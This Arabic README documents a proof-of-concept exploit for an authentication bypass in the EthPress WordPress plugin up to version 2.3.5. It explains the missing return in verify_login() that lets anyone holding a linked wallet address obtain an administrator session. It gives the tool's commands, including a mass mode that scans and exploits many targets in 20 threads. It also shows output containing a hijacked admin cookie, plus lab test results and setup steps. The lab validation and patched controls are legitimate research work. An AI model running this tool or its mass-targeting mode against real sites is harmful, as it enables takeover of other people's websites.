
إثبات مفهوم موثّق يستغل تجاوز المصادقة غير الموثّق في EthPress <= 2.3.5، مما يمنح جلسة مسؤول WordPress عبر عنوان محفظة.
إثبات مفهوم (PoC) عامل ومُتحقَّق منه لتجاوز مصادقة تسجيل الدخول عبر المحفظة في EthPress، تم تطويره والتحقق منه مقابل مختبر X-1 localhost.
RAZZ، معرّف المستخدم 1، roles=['administrator']) باستخدام عنوان محفظة عام فقط.http://localhost:8080 — WordPress + MySQL (Docker، wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (الإصدار 2.3.5) يتحقق من توقيع المحفظة، ويُنشئ
WP_Error عند فشل التحقق — ثم ينسى أن يُرجع:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
يستمر التنفيذ إلى كتلة تسجيل الدخول، فيقوم Address::log_in() بتحويل عنوان
المحفظة الذي يقدّمه المهاجم إلى مستخدم WordPress المالك له، ويقوم
wp_set_auth_cookie() بمصادقة ذلك المستخدم. وتكون الاستجابة
{"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| المعطى | المعنى |
|---|---|
-f, --file | ملف عناوين URL للأهداف (واحد في كل سطر، تعليقات #) للمسح الجماعي + الاستغلال التلقائي |
-t, --threads | عدد خيوط العمل المتزامنة (الافتراضي 10) |
-o, --output | مسار الإخراج/السجل، بصيغة JSON Lines (الافتراضي cve-2026-19125-results.jsonl) |
-u, --url | عنوان URL لهدف واحد (قابل للتكرار) |
-a, --address | عنوان محفظة الضحية المرتبط بحساب WordPress |
-af, --address-file | ملف عناوين المحافظ المرشّحة |
-k, --private-key | المفتاح الخاص للمهاجم بصيغة hex (الافتراضي: مفتاح عشوائي جديد لكل هجوم) |
--timeout | مهلة HTTP بالثواني (الافتراضي 20) |
--verify-tls | التحقق من شهادات TLS |
-q, --quiet | كتم أسطر التقدّم لكل هدف |
requests هي التبعية الوحيدة (pip install requests). جميع عمليات تشفير
Ethereum (Keccak-256، secp256k1، توقيع RFC 6979، استعادة العنوان) مُنفَّذة
داخل poc.py باستخدام المكتبة القياسية فقط.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php واقرأ
ethpressLoginWP.loginNonce. إنه wp_create_nonce('ethpress_log_in')
مُصدَر لجلسة مجهولة (uid=0) وبالتالي صالح لاستدعاء AJAX غير الموثّق
الخاص بالمهاجم.coinbase المُرسَل. يُرجع verify2()
القيمة [false, error] — ويتجاهلها الإصدار 2.3.5. (توقيع فارغ تماماً
يعمل أيضاً؛ ويرجع poc.py إلى ذلك تلقائياً.)/wp-admin/، واستخرج
REST nonce الخاص بالجلسة، واستدعِ /wp/v2/users/me?context=edit → معرّف
المستخدم الحقيقي واسم الدخول والأدوار؛ بالإضافة إلى تأكيد الوصول إلى أربع
شاشات مخصّصة للمسؤولين فقط.| الاختبار | البنية | المتوقع | الملاحَظ | المُخرَج |
|---|---|---|---|---|
| استغلال إيجابي، عنوان مسؤول مرتبط | 2.3.5 | استيلاء | id=1 RAZZ roles=['administrator']، جميع صلاحيات المسؤول الأربع | results.jsonl، evidence/run-positive.log |
| ضبط سلبي، عنوان غير مرتبط | 2.3.5 | لا جلسة | "You have not registered on this site" | results-neg.jsonl |
| ضبط مُرقَّع، كلا الأوليتين | 2.3.6 | مرفوض | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl، evidence/run-patched-236.log |
| إعادة إنتاج بـ curl خام، بدون أدوات | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | مؤكَّد |
| مصفوفة حدود مدخلات التوقيع | 2.3.5 | مختلط | أوليتان حتميتان؛ كتل عشوائية ≈50/50 أو HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1، عنوان غير مرتبط | 2.3.5 | جلسة مشترك جديد | أُنشئ المستخدم 0xAAAA... بدور subscriber، وسُجّل دخوله (ثم أُزيل) | evidence/results-registration-open.jsonl |
أعِد إنتاج أي منها:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
يكتب wp user meta update بالضبط مفتاح التخزين الذي يكتبه
Address::create() الخاص بالإضافة نفسه
(update_user_meta($uid, 'ethpress', $coinbase))، لذا يُهيَّأ الشرط المسبق
بالطريقة الشرعية — دون أي إضعاف مصطنع للهدف.
توجد بنيات المرجع للمقارنة خارج دليل الإضافات:
../_plugin-reference/ethpress/{vulnerable,latest}.
تبديل إصدارات الإضافة في مكانها بينما يظل Apache يعمل يترك البايت كود
المُترجَم القديم في OPcache. فيستمر PHP في تنفيذ ملفات الإصدار السابق؛
ولأن freemius/start.php:584 في الإصدار 2.3.6 يتطلب
freemius/require.php → includes/class-fs-hook-snapshot.php (وهو ملف
موجود في 2.3.6 فقط)، أعاد الموقع HTTP 500 رغم وجود 2.3.5 على القرص.
يقوم lab-switch-version.sh الآن بإعادة تشغيل wp_app بعد كل تبديل وينتظر
عودة /wp-login.php بالرمز 200. تحقّق دائماً من الإصدار قيد التشغيل، لا
من الإصدار الموجود على القرص فقط.
| الرمز | المعنى |
|---|---|
0 | تم استغلال هدف واحد على الأقل |
1 | عمل بشكل سليم، دون استغلال أي هدف |
2 | استخدام خاطئ — ملف إدخال مفقود/غير قابل للقراءة، أو لم يُعطَ عنوان محفظة |
-a هو الشيء الوحيد الذي يجب أن تضبطه بشكل صحيحيجب أن يكون -a/--address عنوان المحفظة المرتبط بالفعل بحساب WordPress
الهدف — أي صف wp_usermeta الذي يحمل meta_key = 'ethpress'. لا يمكن للـ
PoC تخمينه: العنوان غير مكشوف في أي مكان عام.
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value
إذا مرّرت عنواناً مختلفاً، ينتهي التشغيل كـ exploited 0 / 1 — لكن آلية
التجاوز نفسها تعمل، والعنوان ببساطة لا يُحلّ إلى أي مستخدم. يطبع الـ PoC الآن
كتلة صريحة "لماذا لم ينجح" بالإضافة إلى تلميحات لكل حالة عدم إصابة، لذا لم
يعد هذا صامتاً.